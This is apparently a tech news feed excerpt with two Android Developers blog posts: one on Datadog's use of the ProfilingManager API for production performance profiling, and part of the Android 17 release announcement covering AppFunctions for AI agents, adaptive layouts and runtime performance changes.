<p>Posted by Alice Yuan, Developer Relations Engineer at Google, Arti Arutiunov, Product Manager at Datadog and Nikita Ogorodnikov, Staff Software Engineer at Datadog</p><p></p><p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEjICmOZHTF4gmgXj1G4r5Fp48jM_W4fN9tjxbdnesvaxjUsuwmrftmILW-CErt5cXGcZp93UGtLy8fBehhZxwZ2oxtjQLNb269jHfkNA3XBHnn9JIVZbApeatdCi9gX6ylK7-5A-DzQ3VSRi8hJCNp_8699CzeD9H0y26Tl-6DO8FIafh9UQFyrpa_C9DA"><img alt="" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/a/AVvXsEjICmOZHTF4gmgXj1G4r5Fp48jM_W4fN9tjxbdnesvaxjUsuwmrftmILW-CErt5cXGcZp93UGtLy8fBehhZxwZ2oxtjQLNb269jHfkNA3XBHnn9JIVZbApeatdCi9gX6ylK7-5A-DzQ3VSRi8hJCNp_8699CzeD9H0y26Tl-6DO8FIafh9UQFyrpa_C9DA=s16000"></a></div><br><br><p></p>

<p>
  Performance regressions are notoriously hard to reproduce, making regressions a massive bottleneck for mobile developers. Although signals like ANR rates indicate what issues occur in production, pinpointing the specific line of code that resulted in the performance issue has historically necessitated exhaustive manual reproduction or speculative trial-and-error experimentation.
</p>

<p>Datadog collaborated with Google to mitigate this frustration by integrating the ProfilingManager API (available on Android 15+ devices) into its Real User Monitoring (RUM) and Continuous Profiling platforms. This integration transforms the debugging workflow, allowing developers to move beyond surface-level symptoms to being able to detect the <em>why</em> behind a performance bottleneck.
</p>

By leveraging this system-level API, Datadog now processes millions of production profiles weekly across the globe according to Datadog internal data of June 2026. It provides engineering teams with a new level of visibility into real-world performance, all while maintaining a low runtime overhead for production-scale performance monitoring.

<h3>The impact of ProfilingManager</h3><p>
  ProfilingManager is a system service introduced in Android 15 that enables apps to programmatically collect performance data such as call stack samples, field traces and memory heap dumps directly from production environments. This capability shifts the engineering paradigm from reactive manual reproduction to proactive field analysis.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWVOhdnTTwX9DT3ROPHDLHKm1aJ8Z0vo5wYsHTULe7oRBqsi2-pTblEC1ggNuVXdd5rCZv6RooG4dsdOqMM_8URLUxierH3KjujbTyVSFrqNIs01zMqb_o7uXFeYECms5s_CkX1WvAPaQeO5W9bpnvD4S4BNN0mH9qbanuTukvCg8LTozhNEhY0CQ0o0Q/s1280/AANDDM_DataDog_Quote_01.png"><img alt="ProfilingManager is a highly performant solution for code-level insights.  Of the solutions we evaluated, it has the lowest runtime overhead,  gives deep visibility into Java, Kotlin, and C++ traces, and opens the door to gather memory profiles and system-level traces during critical moments like ANRs and out-of-memory (OOM) errors. Yi Lu, Senior Engineer at Datadog" border="0" data-original-height="720" data-original-width="1280" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWVOhdnTTwX9DT3ROPHDLHKm1aJ8Z0vo5wYsHTULe7oRBqsi2-pTblEC1ggNuVXdd5rCZv6RooG4dsdOqMM_8URLUxierH3KjujbTyVSFrqNIs01zMqb_o7uXFeYECms5s_CkX1WvAPaQeO5W9bpnvD4S4BNN0mH9qbanuTukvCg8LTozhNEhY0CQ0o0Q/s16000/AANDDM_DataDog_Quote_01.png"></a></div><br><p><br></p>

For example, a Google communications app used field traces to investigate why its cold start times were slower on newer, more powerful hardware. By diving into the field-collected traces and comparing traces across different device types, the engineer discovered a hidden scheduling issue: a background text-to-speech service was unnecessarily being prewarmed during app startup. The traces revealed that this background process was monopolizing the device's highest-performing big CPU core, forcing the app's main thread to sleep while the prewarm occurred.

<h3>Solving the Android code-level visibility challenge</h3><p>
  Prior to the implementation of ProfilingManager, Datadog’s Real User Monitoring (RUM) focused on high-level application health and session-level telemetry to assess the user journey. Engineering teams could monitor Android performance signals like time to initial display, ANR rates, CPU load, and frozen frames. These insights extended to granular interactions, such as network latency, touch events, and main thread hangs. However, while this data effectively highlighted which performance bottlenecks were surfacing in the field, it provided no clear path to identifying the root cause of these failures.</p><div><span face='"Google Sans", sans-serif'><br></span></div><p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEjW4Lm-zE5X2trjidQ0eh9i_Bhiwd7HnkOcMeRtA_4dABpGG0EPuer564cLFK4o3eb_N_zWmBAgpOa58eygLH5hwFF6kMg_4GFC98vRN4pd1LNZ-PG9W5wyHv-ptVcmIGo1M7FNPi9PKQ9iGsyZeVfr5jDK46HJHU-1Gsc6IZJdSvhrZVavqKiZmyYar0o"><img alt="We realized that across our profiling features, performance profiling on mobile applications remained a blind spot. Teams could see that an Android user experienced a slow screen render or an ANR, but lacked the same code-level visibility they relied on for their backend services. - Bryan Antigua, Senior Product Manager at Datadog" data-original-height="720" data-original-width="1280" src="https://blogger.googleusercontent.com/img/a/AVvXsEjW4Lm-zE5X2trjidQ0eh9i_Bhiwd7HnkOcMeRtA_4dABpGG0EPuer564cLFK4o3eb_N_zWmBAgpOa58eygLH5hwFF6kMg_4GFC98vRN4pd1LNZ-PG9W5wyHv-ptVcmIGo1M7FNPi9PKQ9iGsyZeVfr5jDK46HJHU-1Gsc6IZJdSvhrZVavqKiZmyYar0o=s16000"></a></div><br><br><p></p>

<p>
  To address this, Datadog needed a profiling engine capable of capturing Android traces directly from devices in production with minimal performance impact. After evaluating alternative approaches, such as writing their own trace processor using Android Debug APIs, the team selected ProfilingManager because it is the most performant solution of the profiling options they evaluated and offloads the sampling decisions overhead to the OS.
</p>

<p>
  ProfilingManager supports a wide range of collection methods, including CPU traces, call stack sampling, memory analysis through Java heap dumps and native heap profiles. It enables developers to profile production builds, upload trace files to external storage, and review them in the Perfetto trace analyzer UI. As a SaaS provider, Datadog uploads, visualizes, and analyzes these profiles collected via its SDK, providing a unified view of application health. 
</p>

By centralizing high-fidelity telemetry within a unified observability API, ProfilingManager empowers Datadog and its clients to proactively monitor, investigate, and remediate complex Android performance regressions through key technical advantages:

<ul>
  <li>
    <strong>Granular session diagnostics:</strong> ProfilingManager enhances debuggability by delivering direct OS-level trace data, overcoming the visibility and alignment challenges typical of custom logging with system services. To dive deeper, developers can download these traces from Datadog to investigate further in visualization tools like the <a href="https://ui.perfetto.dev/">Perfetto UI</a>. 
  </li>
  <li>
    <strong>Automated telemetry triggers:</strong> By leveraging native system events to initiate trace recordings at key optimization points, Datadog reduces the need to build custom collection logic. While the initial rollout focuses on the <a href="https://developer.android.com/reference/android/os/ProfilingTrigger?_gl=1*xix6h8*_up*MQ..*_ga*MTc4ODI2NDgwMy4xNzc5MzE2ODcw*_ga_6HH9YJMN9M*czE3NzkzMTY4NzAkbzEkZzAkdDE3NzkzMTY4NzAkajYwJGwwJGgyMTE1NzIyNjk1#TRIGGER_TYPE_APP_FULLY_DRAWN">APP_FULLY_DRAWN </a>signal, there are already plans to expand this observability to include <a href="https://developer.android.com/reference/android/os/ProfilingTrigger?_gl=1*1hl4p7n*_up*MQ..*_ga*MTc4ODI2NDgwMy4xNzc5MzE2ODcw*_ga_6HH9YJMN9M*czE3NzkzMTY4NzAkbzEkZzAkdDE3NzkzMTY4NzAkajYwJGwwJGgyMTE1NzIyNjk1#TRIGGER_TYPE_ANR">ANR</a>, <a href="https://developer.android.com/reference/android/os/ProfilingTrigger?_gl=1*8x3pd*_up*MQ..*_ga*MTc4ODI2NDgwMy4xNzc5MzE2ODcw*_ga_6HH9YJMN9M*czE3NzkzMTY4NzAkbzEkZzAkdDE3NzkzMTY4NzAkajYwJGwwJGgyMTE1NzIyNjk1#TRIGGER_TYPE_OOM">OOM</a>, and <a href="https://developer.android.com/reference/android/os/ProfilingTrigger?_gl=1*1ezx2ma*_up*MQ..*_ga*MTc4ODI2NDgwMy4xNzc5MzE2ODcw*_ga_6HH9YJMN9M*czE3NzkzMTY4NzAkbzEkZzAkdDE3NzkzMTY4NzAkajYwJGwwJGgyMTE1NzIyNjk1#TRIGGER_TYPE_COLD_START">COLD_START</a> triggers.</li>
  <li>
    <strong>Proactive trace snapshots:</strong> By interfacing directly with the system-level Perfetto service (traced), ProfilingManager utilizes a proactive background recording model designed to capture unpredictable issues. This ensures that developers receive a precise visualization of the events leading up to a performance anomaly, offering a level of insight that exceeds what is possible through manual instrumentation. 
  </li>
  <li>
    <strong>Bottleneck detection at scale:</strong> Datadog is able to synthesize telemetry from across Datadog’s global customer base to uncover regressions that only emerge under unique hardware configurations and variable network environments.
  </li>
  <li>
    <strong>System-enforced resource stability:</strong> The API leverages sampling trace collection to ensure performance and user experience impacts remain unnoticeable.
  </li>
  <li>
    <strong>On-device data controls:</strong> ProfilingManager filters out irrelevant information from other processes on-device before the profile is delivered to the app. This minimizes file sizes and ensures that only data relevant to the app's processes is provided.</li>
</ul>

<h3>Processing millions of weekly profiles to optimize real-world apps</h3><p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjr2ikpIrv_Km0RiIq-khGPFHpfA5CRYHfnLj2oRxLSuTk2x8qJFoO4UyNiwMpJphecSAVR4aWcJEB7BzvkXYjkyDggRDUYhLTBGhoj5q3b6BmwA5IcsER1_k5tffie6pteW3YNkIwI5Y6rG_Ie35Xzzq-mEnfq8iinA_cd_r5ydCxfRwajPSngrY1591k/s3464/datadog-profiling-blogpost-final.png"><img border="0" data-original-height="1686" data-original-width="3464" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjr2ikpIrv_Km0RiIq-khGPFHpfA5CRYHfnLj2oRxLSuTk2x8qJFoO4UyNiwMpJphecSAVR4aWcJEB7BzvkXYjkyDggRDUYhLTBGhoj5q3b6BmwA5IcsER1_k5tffie6pteW3YNkIwI5Y6rG_Ie35Xzzq-mEnfq8iinA_cd_r5ydCxfRwajPSngrY1591k/s16000/datadog-profiling-blogpost-final.png"></a></div><i><div><i>An example of Datadog's time to initial display measurement with </i></div><div><i>stack sampling powered by ProfilingManager</i></div></i><br>Integrating a system-level profiling API into a global monitoring SDK required solving infrastructure challenges. Because ProfilingManager generates highly detailed performance traces, the Datadog engineering team had to build a pipeline capable of parsing and analyzing these profiles on the server side at scale. <span><span>Beyond profile collection, Datadog also emphasizes the importance of balancing sampling frequency with collecting enough data to generate meaningful insights about your application. </span></span>Datadog relies on ProfilingManager’s built-in rate limiting as a critical stability safeguard, preventing excessive telemetry requests from overburdening user devices.<br><br>The team has been profiling Datadog's own native Android application and a number of early adopters’ applications for months, gathering millions of profiles to ensure a fast, error-free launch experience and to refine their performance-detection algorithms. Today, the production integration seamlessly scales across a variety of Android devices. <p></p><h3>Conclusion</h3><p>By integrating Android’s ProfilingManager API, Datadog successfully closed the visibility gap between backend systems and mobile client applications for their customers. By processing millions of profiles weekly with negligible device overhead, Datadog equips Android developers with the code-level insights necessary to diagnose complex performance bugs instantly, helping developers build smoother applications and improve their app’s performance signals in the Play Store. To adopt the ProfilingManager API directly into your performance observability framework, check out our <a href="https://developer.android.com/topic/performance/tracing/profiling-manager/overview">documentation</a>.</p>

<p>
  In the future, Datadog aims to make Android profiling data a first-class input for coding agents to autonomously resolve performance bottlenecks, closing the feedback loop between detection and remediation. Datadog is working toward making Android profiling broadly accessible to developers.
</p>

<p>
  To get started using the Datadog real user monitoring feature powered by ProfilingManager, visit <a href="https://www.datadoghq.com/dg/real-user-monitoring/android-profiling/?utm_source=inbound&amp;utm_medium=corpsite-display&amp;utm_campaign=int-rum-ww-blog-announcement-announcement-androidprofilerblog2026">Datadog Mobile Real User Monitoring</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Android 17 is here]]></title>
<description><![CDATA[Posted by Matthew McCullough, VP of Product Management, Android DeveloperToday we're releasing Android 17 and making it available on most supported Pixel devices. Look for new devices running Android 17 in the coming months.

Android 17 marks the start of our transition to an intelligence system,...]]></description>
<link>https://tsecurity.de/de/3693505/android-tipps/android-17-is-here/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693505/android-tipps/android-17-is-here/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:36 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgV7zuuXjulHty999mGDWY1kfL8Q9SXjYYWn-7JTpMfVdNP78eb5fW9shOpvVdEqK0WnNp7AhdO0qc7pXAaqcfTwXgOGsfZyqcQv8wyD-9niWBpZuP6ZAPHBSetWenN2lMlRS5wi2d71-n8RCYqrLsFhUCEvM7KeoGLnNaDbiyOZQ0vvyr0O580nXK4Vas/s2048/Metadata%20-%20Static.png"><div><i>Posted by Matthew McCullough, VP of Product Management, Android Developer</i></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5KPJZylMSUXRpKFRUd6oM4fNdEoDRdJzdkzg69P_BVUuIDtXqCqTid6hGH40CoHRw7-f50HsT6rISArklGH982MM4K1jKU16SSymes4JPoE4qOZ5s1lLnkbInpUpdJGu5erAYmSgiefzkkOX_ng3AUJKOzzwC1WMTjk2DxLNia8R1C-ErWc7jT4VP8ew/s4209/Blogger%20Hero%20-%20White.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5KPJZylMSUXRpKFRUd6oM4fNdEoDRdJzdkzg69P_BVUuIDtXqCqTid6hGH40CoHRw7-f50HsT6rISArklGH982MM4K1jKU16SSymes4JPoE4qOZ5s1lLnkbInpUpdJGu5erAYmSgiefzkkOX_ng3AUJKOzzwC1WMTjk2DxLNia8R1C-ErWc7jT4VP8ew/s16000/Blogger%20Hero%20-%20White.png"></a></div><br><p><br></p><p>Today we're releasing Android 17 and making it available on most supported Pixel devices. Look for new devices running Android 17 in the coming months.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjaHGBWXu3yvdXZ-wYQgN6DjN5TEMRIYDJvQDZTOybRZFWsAMhqhl14b9UZmrlXlEIRDioqRc8m3xRjOnQHJPoICkVpCho4qrmKihPbu_SB7dGVNKwlAaX6eWdjLF4VUdGyzGfxtW0ziFggj63e778VVo38qpMKar4E1wuw0MiPCBvBdrTTXCgI1XD04Q/s1080/AfD-Android-17.gif"><img border="0" data-original-height="1080" data-original-width="1080" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjaHGBWXu3yvdXZ-wYQgN6DjN5TEMRIYDJvQDZTOybRZFWsAMhqhl14b9UZmrlXlEIRDioqRc8m3xRjOnQHJPoICkVpCho4qrmKihPbu_SB7dGVNKwlAaX6eWdjLF4VUdGyzGfxtW0ziFggj63e778VVo38qpMKar4E1wuw0MiPCBvBdrTTXCgI1XD04Q/s320/AfD-Android-17.gif" width="320"></a></div>

<p>Android 17 marks the start of our transition to an intelligence system, putting your apps at the center. It's shifting to an adaptive-first development standard by introducing mandatory large-screen resizability, all while delivering next-generation privacy, security, media, camera, and performance. We'll cover all that in this post, as well as how we're bringing together next generation tools, libraries, and agent skills to help your apps embrace the opportunity.</p>

<p>Throughout the past year, from our Canary channel to our Beta releases, we’ve collaborated with you in the developer community to build a platform you and your users can trust. To that end, this moment marks the availability of the source code at the <a href="https://source.android.com/">Android Open Source Project</a> (AOSP). This allows you to <a href="https://cs.android.com/">examine the source code</a> for a deeper understanding of how Android works.</p>

<p>Let's dive deeper into Android 17.</p>

<h3>An intelligence system</h3>

<p>With deep integration between hardware, software and AI, we’re transforming Android from an operating system to an intelligence system. It's about delivering new helpful experiences that anticipate user needs, and it brings more opportunities for engagement with your apps. To that end, Android 17 expands the capabilities of AppFunctions, a platform API with a corresponding Jetpack library. It allows you to contribute your app's unique capabilities as orchestratable "tools" for Android MCP, the on-device equivalent of the <a href="https://modelcontextprotocol.io/">Model Context Protocol</a>. AI agents and assistants (like Google Gemini) can discover and execute AppFunctions to perform workflows on behalf of the user with direct access to the app's local state.</p>

<p>The Jetpack library, currently in alpha, makes adding AppFunctions as easy as annotating a class and adding KDoc comments.</p>

<pre><code>/**
 * A note app's [AppFunction]s.
 */
class NoteFunctions(
    private val noteRepository: NoteRepository
) {
    /**
     * Adds a new note to the app.
     *
     * @param appFunctionContext The execution context.
     * @param title The title of the note.
     * @param content The note's content.
     */
    @AppFunction(isDescribedByKDoc = true)
    suspend fun createNote(
        appFunctionContext: AppFunctionContext,
        title: String,
        content: String
    ): Note {
        return noteRepository.createNote(title, content)
    }
}</code></pre>

<p>We’ve also launched an <a href="http://github.com/android/skills/tree/main/on-device/appfunctions">AppFunctions agent skill</a> that analyzes your app’s key workflows, automatically generates the required Kotlin code, optimizes your KDocs for LLM tool-calling, and provides ADB commands for testing and debugging.</p>

<p>The Gemini integration is currently in a private preview with trusted testers, but you can begin preparing your apps now. In addition to ADB commands to execute your AppFunctions, we've provided a <a href="http://github.com/android/appfunctions/releases/initial">test agent app</a> that includes an interface to discover and execute your app functions and simulate an AI agent integration. Join our integration early access program at <a href="http://goo.gle/eap-af">goo.gle/eap-af</a> for a chance to be among the first apps to deploy AppFunctions to production.</p>

<h3>Adaptive-first</h3>
<p>Your users no longer rely on a single form factor; they transition between phones, foldables, tablets, laptops, automotive displays, and immersive XR environments. Now, with over <a href="https://developer.android.com/blog/posts/adaptive-development-for-the-expanding-android-ecosystem">580 million large screen devices</a> in the hands of users and the <a href="https://blog.google/products-and-platforms/platforms/android/meet-googlebook/">forthcoming launch of Googlebooks</a>, the next generation of ChromeOS built on the Android stack, adaptive is no longer just a technical goal. It’s a massive opportunity to reach highly engaged users, which is one of the reasons we're shifting to an <a href="https://developer.android.com/adaptive-apps">adaptive-first development standard</a>.</p>

<h2>No resizability/orientation restrictions on large screens</h2>
<p>To ensure apps deliver a premium experience across all form factors, including mobile devices running in desktop mode on connected displays, Android 17 (API level 37) removes the developer opt-out for orientation and resizability restrictions on <a href="https://developer.android.com/guide/topics/large-screens">large screen devices</a> (sw &gt; 600 dp) for apps targeting API level 37. The system will ignore legacy manifest attributes and runtime APIs, including screenOrientation, setRequestedOrientation(), resizeableActivity=false, and aspect ratio constraints (minAspectRatio/maxAspectRatio). Games (based on <a href="https://support.google.com/googleplay/android-developer/answer/9859673?hl=en">app category</a> in Google Play) remain exempt. Your app must be ready to adapt to any window size, respect the user's preferred device posture, and support free-form windowing natively.</p>

<h2>Next-gen multitasking: App Bubbles, Bubble Bar, and desktop interactive PiP</h2>
<p>Android 17 introduces powerful new windowing capabilities that redefine how users multitask, demanding even greater layout flexibility from your apps:</p>
<ul>
    <li><strong>App Bubbles:</strong> Moving beyond the messaging bubbles API, users can now transform any app into a floating bubble by long-pressing its icon on the launcher. This feature is available across phones, foldables, and tablets, enabling lightweight multitasking for any workflow.</li>
    <li><strong>The Bubble Bar:</strong> On large screens (tablets and foldables), the system taskbar now includes a dedicated Bubble Bar to organize, transition between, and dock these floating app bubbles.</li>
    <li><strong>Desktop interactive PiP:</strong> In desktop environments, Android 17 introduces interactive Picture-in-Picture (PiP). Unlike traditional PiP windows which are read-only, these pinned windows remain fully interactive while staying always-on-top of other application windows.</li>
</ul>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg12FRQ31sUiyMj_ZalamTRI4VyI2tMXYKEoRy6b-u0Het272IDbRhznXot7b8AvFJEX-ubw_-pNxyS5JTKPUTBj1CNXwIYkTE906vembUcHeyGzE4Lb72WRyGNF7dOP_aBssNeCplOjEnKAc3d3hkak81LOpG0g9Hlep0AvC11MjdJ1MkqAp7ViUCu2bw/s1600/Bubbles%20(1).gif"><img border="0" data-original-height="1600" data-original-width="1544" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg12FRQ31sUiyMj_ZalamTRI4VyI2tMXYKEoRy6b-u0Het272IDbRhznXot7b8AvFJEX-ubw_-pNxyS5JTKPUTBj1CNXwIYkTE906vembUcHeyGzE4Lb72WRyGNF7dOP_aBssNeCplOjEnKAc3d3hkak81LOpG0g9Hlep0AvC11MjdJ1MkqAp7ViUCu2bw/s16000/Bubbles%20(1).gif"></a></div><p><i>App Bubbles and Bubble Bar in action</i></p>

<h2>Activity recreation updates</h2>
<p>To prevent disruptive state loss and stutter, Android 17 updates the default behavior for Activity recreation. The system will no longer restart activities by default for typical configuration changes that do not require a full UI redraw (including <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_keyboard">CONFIG_KEYBOARD</a>, <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_keyboard_hidden">CONFIG_KEYBOARD_HIDDEN</a>, <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_navigation">CONFIG_NAVIGATION</a>, <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_touchscreen">CONFIG_TOUCHSCREEN</a>, and <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_color_mode">CONFIG_COLOR_MODE</a>).<br>
Instead, running activities will receive these updates via onConfigurationChanged(), enabling smooth transitions. If your application explicitly relies on a full restart to reload resources for these changes, you must now explicitly opt-in using the new <a href="https://developer.android.com/reference/kotlin/android/R.attr#recreateonconfigchanges">android:recreateOnConfigChanges</a> manifest attribute.</p>

<h2>Continue On</h2>
<p>Android 17 adds Continue On to help users seamlessly transition a task between Android devices. The user sees a suggestion for the most recently opened app from their mobile device in their tablet taskbar, providing a one-tap affordance to launch the app and deep-link where they left off. Continue on can support app-to-web transitions, including falling back to using the web if the app isn't installed.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc8K42DCZ0VTYpFhTlEazp9_AthhqYdm786k1NFolZrP7HwXk2QlF7UV1CU7ECK9N-CiHSfSbH_E2_cXwL3zUuesP-shpa1nau5QmVWDOQeErnCMtvZUw_wwAHNewZZ5S3811f0n_FNoX4U9kyptZQONM_eDB1AAHaoFjMFgTCC7G1d0X2iRo1MN8sev0/s1920/Continue%20On.png"><img border="0" data-original-height="1200" data-original-width="1920" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc8K42DCZ0VTYpFhTlEazp9_AthhqYdm786k1NFolZrP7HwXk2QlF7UV1CU7ECK9N-CiHSfSbH_E2_cXwL3zUuesP-shpa1nau5QmVWDOQeErnCMtvZUw_wwAHNewZZ5S3811f0n_FNoX4U9kyptZQONM_eDB1AAHaoFjMFgTCC7G1d0X2iRo1MN8sev0/s16000/Continue%20On.png"></a><i>Handoff Suggestion on a Tablet</i></div><p><br></p>

<pre><code>class MyHandoffActivity : Activity() {

    ...

  override fun onCreate(savedInstanceState: Bundle?) {
    super.onCreate(savedInstanceState)
    // Do stuff
    ...
    // Enable handoff
    setHandoffEnabled(true, null)
  }

  // Override and implement onHandoffActivityDataRequested
  override fun onHandoffActivityDataRequested(handoffRequestInfo: HandoffActivityDataRequestInfo) : HandoffActivityData {
    // Create and return handoff data
  }
}</code></pre>

<h2>Go adaptive-first with Jetpack Compose</h2>
<p>To help you adapt your apps to meet the new Android 17 requirements, we've launched the <a href="https://github.com/android/skills/tree/main/jetpack-compose/adaptive">Jetpack Compose adaptive skill</a>. This AI-powered developer workflow helps you implement the best adaptive practices:</p>
<ul>
    <li><strong>Adaptive navigation:</strong> Automatically transition between bottom navigation bars on mobile and edge-anchored navigation rails on large screens using NavigationSuiteScaffold from the Material 3 Adaptive library.</li>
    <li><strong>Multi-pane layouts:</strong> Implement list-detail and supporting pane layouts natively using Navigation 3 Scenes (ListDetailSceneStrategy and SupportingPaneSceneStrategy) instead of fragile fragment transactions.</li>
    <li><strong>FlexBox &amp; Grid APIs:</strong> Utilize Compose 1.11's dynamic layout components to easily adjust row and column spans on the fly, ensuring your content always fills the space beautifully.</li>
    <li><strong>Advanced non-touch input:</strong> Leverage Compose 1.11's enhanced trackpad and mouse support, including native focus rings and new APIs (like TrackpadInjectionScope and performTrackpadInput) to easily test and deliver a true "laptop-class" experience on Googlebooks and Desktop Mode.</li>
    <li><strong>Dynamic window states:</strong> Leverage Compose's reactive state model to seamlessly adapt your UI when the app transitions from full screen to a floating App Bubble or an interactive Desktop PiP window, ensuring a premium experience even at minimal dimensions.</li>
</ul>

<h2>Android is Compose-first</h2>
<p>Compose offers the easiest way to build adaptive apps, and that's just one of the <a href="https://developer.android.com/develop/ui/compose/first#why-compose-first">many reasons</a> we believe that all Android UI should be built with Compose. To that end, <a href="https://developer.android.com/develop/ui/compose/first">Android development is now Compose-first</a>. All new Android APIs, libraries, tools, and developer guidance will be built exclusively for Jetpack Compose. Legacy View components (in the android.widget package) and View-based Jetpack libraries (like Fragments, RecyclerView, and ViewPager) are now in maintenance mode. They will receive only critical bug fixes, and no new features.</p>

<blockquote>
    <p><strong>TIP</strong><br>
    Ready to migrate? Use our AI-driven <a href="https://developer.android.com/develop/ui/compose/migrate/migrate-xml-views-to-jetpack-compose">XML to Compose Migration Skill</a> to automatically analyze your legacy View layouts and convert them into highly-adaptive Compose code.</p>
</blockquote>

<h3>Performance &amp; efficiency</h3>
<p>App performance means a smooth user interface, fast app start times, and efficient multitasking; Android 17 has impactful improvements in all of these areas.</p>

<h2>App memory limits</h2>
<p>Memory usage is one of the silent foundations of overall performance. When a foreground app or service grows unchecked, memory management spikes CPU and battery utilization and eventually leads to the termination of other well-behaved cached apps and background jobs, ultimately forcing slower cold starts and impaired multitasking. </p>

<p>Starting in Android 17, the system will enforce strict app memory limits based on a device's total RAM, abruptly terminating offending processes. New things to help you navigate these tighter requirements:</p>
<ul>
    <li><strong>R8 Optimizer:</strong> The R8 optimizer significantly reduces your app's bytecode memory footprint by shrinking classes, methods, and fields into shorter names, and stripping out unused code and resources. Use R8 in full mode along with the new <a href="https://developer.android.com/topic/performance/app-optimization/r8-configuration-analyzer">R8 configuration analyzer</a> to make sure your app is getting the most from R8.<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQePgjeISaotpA-miDPKel-qgAYtepLjMMBaiKZQqTf_iYRTJurn_iAFdC7utLnKRKAh9OhSjF_D83skA2PPg7xts0ORX7aVxBkoax6b9uEPqTlGiY_sh8Xv7U1pr0h4Nm8FLo-h3IJD8FhTJc-gOtpBwyLCnDBUPRJAuaaBjsIOhvUmTXFSna0ykksak/s2048/R8%20Configuration%20Analyzer.png"><img border="0" data-original-height="397" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQePgjeISaotpA-miDPKel-qgAYtepLjMMBaiKZQqTf_iYRTJurn_iAFdC7utLnKRKAh9OhSjF_D83skA2PPg7xts0ORX7aVxBkoax6b9uEPqTlGiY_sh8Xv7U1pr0h4Nm8FLo-h3IJD8FhTJc-gOtpBwyLCnDBUPRJAuaaBjsIOhvUmTXFSna0ykksak/s16000/R8%20Configuration%20Analyzer.png"></a></div></li></ul><div><span><u><br></u></span></div><div><span><u><br></u></span></div><div><br></div><div><br></div><div>The R8 Configuration Analyzer</div><ul><li><strong>LeakCanary in Android Studio Panda:</strong> The profiler now features native LeakCanary integration as a dedicated task, fully integrated with your IDE and source code.</li>
    <li><strong>ApplicationExitInfo:</strong> If your app is terminated by these limits, getDescription() from ApplicationExitInfo will return "MemoryLimiter:AnonSwap".</li>
    <li><strong>On-Device Anomaly Detection:</strong> Part of ProfilingManager, you can leverage trigger-based profiling using TRIGGER_TYPE_ANOMALY to automatically capture heap dumps when the memory limit is reached.</li>
</ul>

<pre><code>val profilingManager = applicationContext
   .getSystemService(ProfilingManager::class.java)

val triggers = ArrayList&lt;ProfilingTrigger&gt;().apply {
  add(ProfilingTrigger.Builder(
    ProfilingTrigger.TRIGGER_TYPE_ANOMALY).build())
}
profilingManager.addProfilingTriggers(triggers)</code></pre>

<p>And, we're working to surface more in-field memory metrics to you within Google Play Console.</p>

<h2>Generational garbage collection</h2>
<p><a href="https://developer.android.com/about/versions">Android 17</a> introduces more frequent, less resource-intensive young-generation collections to <a href="https://developer.android.com/guide/platform#art">ART</a>'s Concurrent Mark-Compact garbage collector (GC). By separating short-lived objects from stable, long-lived ones, the system runs frequent, lightweight "young-generation" sweeps rather than expensive full-heap scans, drastically reducing CPU usage, power drain, and UI stutter. Our testing has shown significant improvements in GC interference with application threads and a reduction in the maximum memory resident set size (RSS). ART improvements are also available to over a billion devices running Android 12 (API level 31) and higher through Google Play System updates.</p>

<h2>Lock-Free MessageQueue</h2>
<p>For apps targeting SDK 37 or higher, the core <a href="https://developer.android.com/reference/android/os/MessageQueue"><b>android.os.MessageQueue</b></a> now implements a lock-free architecture, significantly reducing missed frames, improving app startup time, and radically improving the performance of busy queues in multithreaded scenarios. Note: This can break apps that use reflection on private <a href="https://developer.android.com/reference/android/os/MessageQueue"><b>MessageQueue</b></a> fields and methods.  The <a href="https://developer.android.com/reference/android/os/TestLooperManager#peekWhen()"><b>peekWhen</b></a> and <b><a href="https://developer.android.com/reference/android/os/TestLooperManager#poll()">poll</a> </b>APIs have been added to <a href="https://developer.android.com/reference/android/os/TestLooperManager"><b>TestLooperManager</b></a> for instrumentation testing without relying on <a href="https://developer.android.com/reference/android/os/MessageQueue"><b>MessageQueue</b></a> internals.</p>

<h2>Static final fields now truly final</h2>
<p>Starting from Android 17, apps targeting SDK 37 or higher won’t be able to modify “static final” fields, allowing the runtime to apply performance optimizations more aggressively. An attempt to do so via reflection (or deep reflection) will lead to an IllegalAccessException being thrown. Modifying them via JNI’s <b><code>SetStatic&lt;Type&gt;Field</code></b> methods family will immediately crash the application.</p>

<h2>Custom notification view restrictions</h2>
